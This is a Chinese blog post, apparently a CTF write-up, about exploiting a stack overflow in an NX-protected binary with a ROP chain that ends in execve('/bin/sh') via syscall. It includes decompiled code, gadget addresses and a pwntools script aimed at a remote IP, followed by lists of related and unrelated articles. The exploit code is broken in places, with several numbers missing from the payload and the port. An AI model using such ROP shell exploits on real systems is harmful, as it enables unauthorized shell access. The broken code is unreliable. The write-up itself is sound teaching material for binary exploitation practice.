栈溢出之rop到syscall
当程序开启了nx,但程序有syscall调用的时候。这时栈溢出的利用就可以通过rop来执行syscall的59号调用execve('/bin/sh',null,null),这是这次alictf一道pwn的心得。
ida配合gdb定位程序漏洞如下:
- signed __int64 __fastcall sub_40108E(__int64 a1)
- {
- signed __int64 result; // rax@3
- __int64 v2; // rdx@4
- int v3; // [sp+10h] [bp-40h]@1
- __int64 v4; // [sp+20h] [bp-30h]@1
- __int64 v5; // [sp+28h] [bp-28h]@1
- __int64 v6; // [sp+30h] [bp-20h]@1
- __int64 v7; // [sp+38h] [bp-18h]@1
- __int64 v8; // [sp+40h] [bp-10h]@1
- unsigned int v9; // [sp+48h] [bp-8h]@7
- int v10; // [sp+4Ch] [bp-4h]@4
- v4 = 0LL;
- v5 = 0LL;
- v6 = 0LL;
- v7 = 0LL;
- v8 = 0LL;
- v3 = ;
- sub_400330((__int64)&v3, a1, 80LL); // 处理输入,首字母py绕过登陆检测,80字节的最后8字节控制ret
- if ( (_BYTE)v3 != || BYTE1(v3) != )
通过Ropgadget找到构造syscall的rop链如下:
- 0x46f208 : pop rax;ret
- 0x401823: pop rdi;ret
- 0x462873: pop rcx;ret
- 0x422568: mov dword ptr [rdi], ecx ; ret
- 0x46f205 : add rsp 0x58 ret
- 0x43ae29: pop rdx;pop rsi;ret
- 0x45f2a5: syscall;ret
利用代码:
- from pwn import *
- #io=process('./vss')
- io=remote('114.55.103.213',)
- praxret=0x46f208
- prdiret=0x401823
- prcxret=0x0000000000462873 # pop rcx ret
- movrdircx = 0x422568
- addespret=0x46f205 #add rsp 0x58 ret
- prdxrsiret=0x43ae29
- syscallret=0x45f2a5
- pay='py'+'a'*
- pay+=p64(addespret)+'a'*8 #add rsp 0x58;ret
- pay+=p64(praxret)+p64() #pop rax;ret
- pay+=p64(prcxret)+'/bin/sh\x00'+p64(movrdircx) #pop rcx;ret;mov dword ptr [rdi], ecx ; ret
- pay+=p64(prdxrsiret)+p64()+p64() #pop rdx;pop rsi;ret
- pay+=p64(syscallret) #syscall;ret
- io.recvuntil('Password:\n')
- io.sendline(pay)
- io.interactive()
栈溢出之rop到syscall的更多相关文章
- Android内核栈溢出与ROP(CVE-2013-2597)
一.准备 由于内核栈不可执行(NX),栈溢出利用需用到ROP.简单回顾一下ARM ROP. 漏洞演示代码如下,网上随便找了个. char *str="/system/bin/sh" ...
- arm64 调试环境搭建及 ROP 实战
前言 比赛的一个 arm 64 位的 pwn 题,通过这个题实践了 arm 64 下的 rop 以及调试环境搭建的方式. 题目文件 https://gitee.com/hac425/blog_data ...
- 渗透入门rop
原文链接:https://blog.csdn.net/guiguzi1110/article/details/77663430?locationNum=1&fps=1 基本ROP 随着NX保护 ...
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- D^3ctf两道 pwn
这次 的D^3ctf 又是给吊打 难顶... 所以题都是赛后解出来的,在这感谢Peanuts师傅 unprintableV 看看保护: 看看伪代码,其实代码很少 void __cdecl menu() ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- syscall to rop
前言 hitcon 2017 的 start 题,比较简单,练练手. 题目链接: https://gitee.com/hac425/blog_data/tree/master/hitcon2017 正 ...
- 构建ROP链实现远程栈溢出
通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这 ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
随机推荐
- 汇编笔记之 ret 、retf和call
作用: ret 将 栈顶数据出栈到IP retf 将 栈顶数据出栈到IP ,然后再次将栈顶数据出栈到CS 这样一来,可以使程序跳转到已经定义好了的代码段去执行. call 语法 call s0 (如 ...
- 将图片转换为Base64
string Imagefilename 硬盘路径 protected string ImgToBase64String(string Imagefilename) { try { Bitmap ...
- JavaAppArguments.java程序的更改
此程序模仿JvaAppArgyments.java编写,从命令行接受多个数字,求和之后输出结果. 设计思想:命令行参数都是字符串,可以考虑用 Integer.parseInt(args[]) ...
- 武汉科技大学ACM :1006: 华科版C语言程序设计教程(第二版)习题7.15
Problem Description 输入n个字符串(n<=100),输出其中最长的串,如果有多个则取最先找到的那一个. Input 多组测试数据. 每组测试数据第一行包含一个整数n,表示一共 ...
- 【SQL】查询语句中in和exists的区别
in in可以分为三类: 一. 形如select * from t1 where f1 in ( &apos:a &apos:, &apos:b &apos:),应该和 ...
- mongodb安装服务
一.准备工作 1:下载: http://www.mongodb.org/downloads 2:解压到ZIP到 D:\Mongodb ,在此目录下再建立2个目录 D:\Mongodb\db和D ...
- javascript 关于一周前一个月前的处理方法
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- Jquery 学习插件第一天
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title&g ...
- 【GoLang】golang 微服务框架 go-kit
golang-Microservice Go kit - A toolkit for microservices kubernetes go-kit_百度搜索 Peter Bourgon谈使用Go和& ...
- IOS学习之十七:Grand Central Dispatch(GCD)编程基础
IOS学习之十七:Grand Central Dispatch(GCD)编程基础 有过编程经验的人,基本都会接触到多线程这块. 在java中以及Android开发中,大量的后台运行,异步消息队列, ...